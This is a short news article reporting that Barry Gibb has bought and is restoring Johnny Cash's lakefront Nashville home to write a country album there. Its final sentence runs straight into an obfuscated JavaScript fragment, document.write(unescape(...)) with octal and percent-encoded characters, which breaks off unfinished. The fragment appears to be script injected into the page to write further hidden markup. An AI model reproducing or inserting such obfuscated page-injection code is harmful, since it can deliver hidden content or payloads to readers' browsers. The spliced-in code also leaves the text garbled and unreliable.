Barry Gibb buys Johnny Cash home

If former Bee Gee Barry Gibb was looking for inspiration for the country album he plans to record, he could not have picked a more hallowed piece of ground to put down roots reports Launch.

Gibb has bought and is restoring the lakefront house belonging to the late Johnny Cash in Nashville, Tennessee - and says he hopes to one day come face to face with the country legend's ghost.

"It's going to be nice," Gibb said, during a reception in his honour by the performance rights organisation BMI.

"We'd like to use it as our second home. I would like to come here and write songs. I am planning on making a country album. That is really who I am."

Gibb, known for Bee Gees disco hits including Staying Alive, said he and his two sons had about three completed songs and several others in the works.

"I am a country artist, always have been a country artist, and this is my chance to get some self-expression out because the group is no longer the group," he said.

The Bee Gees disbanded after the 2003 death of his brother, Maurice.

And if Cash's old property does not stir his creativity, maybe Roy Orbison's will. Orbison, who died in 1988, lived next door.

"Do you realise how many hit songs have been written in that four or five-acre area, including Roy Orbison next door? The inspiration, being surrounded by the musical atmosphere that has been there for 35 years, we just had to do it," he said.

Sometimes, Gibb says, he can sense Cash's spirit in the house the singer shared with his wife June.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;